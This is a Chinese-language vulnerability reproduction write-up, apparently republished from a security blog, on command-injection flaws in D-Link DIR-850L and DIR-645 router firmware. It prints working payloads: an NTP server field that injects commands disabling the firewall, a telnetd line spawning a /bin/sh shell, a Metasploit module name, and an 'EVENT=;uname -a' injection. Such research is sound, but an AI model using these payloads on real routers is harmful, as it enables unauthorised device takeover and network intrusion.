路由器漏洞挖掘之 DIR-850/645 命令執行漏洞復現


前言

這次來分析兩個比較經典的路由器命令執行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由於參數拼接不當造成的。

漏洞分析

根據前一篇文章中的任意文件讀取漏洞,在讀取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我們就可以進一步利用,達到命令執行的目的,進而 getshell。

php 源代碼

代碼如下:

image.png-358kB

這里的 server 變量可控,導致在拼接時,我們可以閉合前面的命令參數,執行任意命令。

通過前一步的任意文件讀取得到 admin 的密碼之后,登錄上去抓包,將認證過的 cookie 賦值給 uid

首先先訪問 DEVICE.TIME 這個 service ,根據返回包的 xml 文件數據格式來構造命令注入的 payload。

image.png-246.2kB

構造 xml 數據:

<postxml>
<module>
	<service>DEVICE.TIME</service>
	<device>
		<time>
			<ntp>
				<enable>1</enable>
				<period>604800</period>
				<server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
			</ntp>
			<ntp6>
				<enable>1</enable>
				<period>604800</period>
			</ntp6>
			<timezone>61</timezone>
			<time></time>
			<date></date>
			<dst>0</dst>
			<dstmanual></dstmanual>
			<dstoffset></dstoffset>
		</time>
	</device>
</module>
</postxml>

這里的 payload 將目標服務器的 iptables 防火牆關閉,並在 23090 端口開啟 telnet 服務

image.png-246.5kB

  • 這里的變量 $enable$enablev6 都設置為 1,就執行了第一個分支。

之后,按照這篇文章的思路,為了使得設置加載的服務生效,還要向 pigwidgeon.cgi 發送激活請求。

image.png-231.3kB

返回 OK 則表示已經激活成功。

這時可以再請求一下 DEVICE.TIME 查看結果,發現這里已經成功將 payload 寫入 service 變量

image.png-282.4kB

漏洞利用

按照一般思路,拿到了遠程 RCE 之后,可以在目標機器上開啟 telnetd 服務,進行 shell 的登錄。

開啟 telnetd 服務

telnetdbusybox 程序中集成的一個服務,所以在嵌入式設備中一般都可以進行開啟。

telnetd -p 23090 -l /bin/sh

在上面的 xml 數據里的括號中,加入上面的代碼,就可以在 23090 端口開啟一個 telnet 服務,-l 參數表示在登錄上 telnet 服務之后就執行 /bin/sh 程序,即反彈一個 busybox 的 shell。

和上面的流程一樣,先后訪問 hedwig.cgi 發送 xml 數據和 pigwidgeon.cgi 激活服務之后,就可以在本地嘗試連接

image.png-98.2kB

圖上表明正常獲取了目標 busybox 的 shell。

使用 metasploit 反彈 shell

在 metasploit 上集成了一個 DIR-850l 的命令執行的 exp,所以這里直接使用工具來 getshell 也是一個方法。

exploit/linux/http/dlink_dir850l_unauth_exec

在 exploit-db 上的位置

這里筆者在 vps (ubuntu 14.04) 上裝了一個 msf,安裝方法也很簡單:

sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安裝好后打開 msf, use exploit 設置好參數就行了。

image.png-420.8kB

這樣就反彈了一個 busybox 的 shell。

image.png-338.1kB

DIR-645 命令執行

在 dir-645 固件版本 1.02 中的 service.cgi 中存在一處命令注入,可以通過閉合前面的命令,注入惡意數據,達到執行任意命令的效果。

固件下載地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

service.cgi 分析

同樣的,把固件解壓后使用 binwalk 提取出文件系統。將 htdocs/cgibin 載入 IDA 中,找到處理 service.cgi 代碼邏輯部分,也就是 servicecgi_main 這個函數處。

image.png-268.3kB

接下來一步步分析函數的功能,首先使用 getenv 函數獲取 http 請求方法,若為 POST 請求,則執行右邊的分支。

使用 cgibin_parse_request 函數解析 content-length 和 content-type 頭字段之后,經過 sess_ispoweruser 函數判斷用戶是否已經登錄。

之后獲取 POST 表單字段,若字段名為 EVENT 的話,就將 "event %s > /dev/null" 作為參數執行 lxmldbc_system 函數。

.text:0040CF58
.text:0040CF58                 loc_40CF58:
.text:0040CF58                 lui     $a0, 0x42
.text:0040CF5C                 jal     sub_40CD50
.text:0040CF60                 la      $a0, aEvent      # "EVENT"
.text:0040CF64                 la      $a0, aAction     # "ACTION"
.text:0040CF6C                 jal     sub_40CD50
.text:0040CF70                 move    $s2, $v0         # 注意這里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74                 la      $a0, aService    # "SERVICE"
.text:0040CF7C                 jal     sub_40CD50
.text:0040CF80                 move    $s0, $v0
.text:0040CF84                 lw      $gp, 0x130+var_120($sp)
.text:0040CF88                 beqz    $s2, loc_40CFA4
.text:0040CF8C                 move    $s1, $v0
.text:0040CF90                 lui     $a0, 0x42
.text:0040CF94                 la      $t9, lxmldbc_system
.text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
  • 注意 mips 的流水線效應。

lxmldbc_system 函數中調用了 system 函數,跟進分析一下

開頭先執行了 vsnprintf 函數,格式化字符串到棧上 ($sp+0x428+var_40C)

vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

vsnprintf 函數的解釋:

函數原型:int vsnprintf(char *str, size_t size, const char *format,va_list ap);
函數說明:將可變參數格式化輸出到一個字符數組
參數:str輸出到的數組,size指定大小,防止越界,format格式化參數,ap可變參數列表函數用法

這個函數和 snprintf 函數就差了一個可變參數 va_list ,這里分析的話直接忽略就好了。

接着調用 system 函數,這里的 $s0 = $sp+0x428+var_40C 可以看到這里直接將剛才格式化過的字符串傳入 system 作為他的參數。

.text:004133E4                 la      $t9, system
.text:004133E8                 nop
.text:004133EC                 jalr    $t9 ; system
.text:004133F0                 move    $a0, $s0         # command

也就是執行了 system("event %s > /dev/null"),顯然這里我們可以用分隔符 (;、|、&、%0a) 來截斷前面的命令,進行命令注入,達到執行任意命令的效果。

所以在這里我們只需要提交類似於 EVENT=;uname -a%26 的 POST 數據就行了。

  • 前面的分號換成 | 和 & 都可以正常注入,后面只能為 & 。

system 函數執行是有回顯的,所以這里可以直接在返回包中看到執行的結果。

  • 這里構造 SERVICE 字段也行,只不過需要再加上 ACTION 字段配合使用才行。

image.png-253.7kB

總結

DIR-850L 和 DIR-645 的命令注入漏洞都是由於在拼接參數時沒有進行過濾,直接執行 system 函數,因此防御手段就只需要在拼接參數時進行相應的過濾即可。

參考文章

https://www.freebuf.com/articles/terminal/164680.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM